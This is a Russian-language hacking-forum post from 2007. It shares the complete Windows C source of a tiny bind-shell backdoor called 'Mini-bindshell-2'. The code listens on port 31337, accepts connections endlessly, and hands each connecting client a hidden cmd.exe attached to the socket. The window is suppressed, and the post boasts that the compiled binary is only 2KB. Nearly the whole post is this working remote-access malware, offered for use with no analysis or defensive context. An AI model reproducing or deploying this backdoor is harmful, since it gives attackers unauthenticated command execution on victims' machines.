
17.09.2007, 13:19
|
|
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме: 1777536
Репутация:
932
|
|
Mini-bindshell-2 (с реконнектом)
Теже 2кб на выходе.
Код:
#include "winsock2.h"
#pragma comment(linker,"/SECTION:.text,EWR")
#pragma comment(linker,"/ENTRY:WinMain")
#pragma comment( linker, "/defaultlib:ws2_32.lib" )
DWORD WINAPI ClientURA(HANDLE HCmd);
DWORD WINAPI ClientURA(
HANDLE HCmd
)
{
STARTUPINFO st;
PROCESS_INFORMATION pt;
st.cb = sizeof(STARTUPINFO);
st.lpReserved = NULL;
st.lpTitle = NULL;
st.lpDesktop = NULL;
st.lpReserved2 = NULL;
st.cbReserved2 = 0;
st.wShowWindow = SW_HIDE;
st.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
st.hStdInput = HCmd;
st.hStdOutput = HCmd;
st.hStdError = HCmd;
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&st,&pt);
CloseHandle(HCmd);
CloseHandle(pt.hProcess);
CloseHandle(pt.hThread);
return 0;
}
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){
int sock;
SOCKET AcceptS;
struct sockaddr_in s;
WSADATA wsa;
WSAStartup( MAKEWORD( 2, 2 ), &wsa );
sock = WSASocketA(PF_INET,SOCK_STREAM,0,NULL,0,0);
s.sin_family = AF_INET;
s.sin_addr.s_addr = htonl( INADDR_ANY);
s.sin_port = htons( 31337 );
bind(sock,(SOCKADDR*)&s,sizeof(s));
int i;
char type[2], buf[126];
listen( sock, 0 );
while (1){
AcceptS = accept(sock,NULL,NULL);
CreateThread( NULL, 0,
(LPTHREAD_START_ROUTINE)ClientURA,
(LPVOID)AcceptS,
NULL, NULL );
}
return 0;
}
|
|
|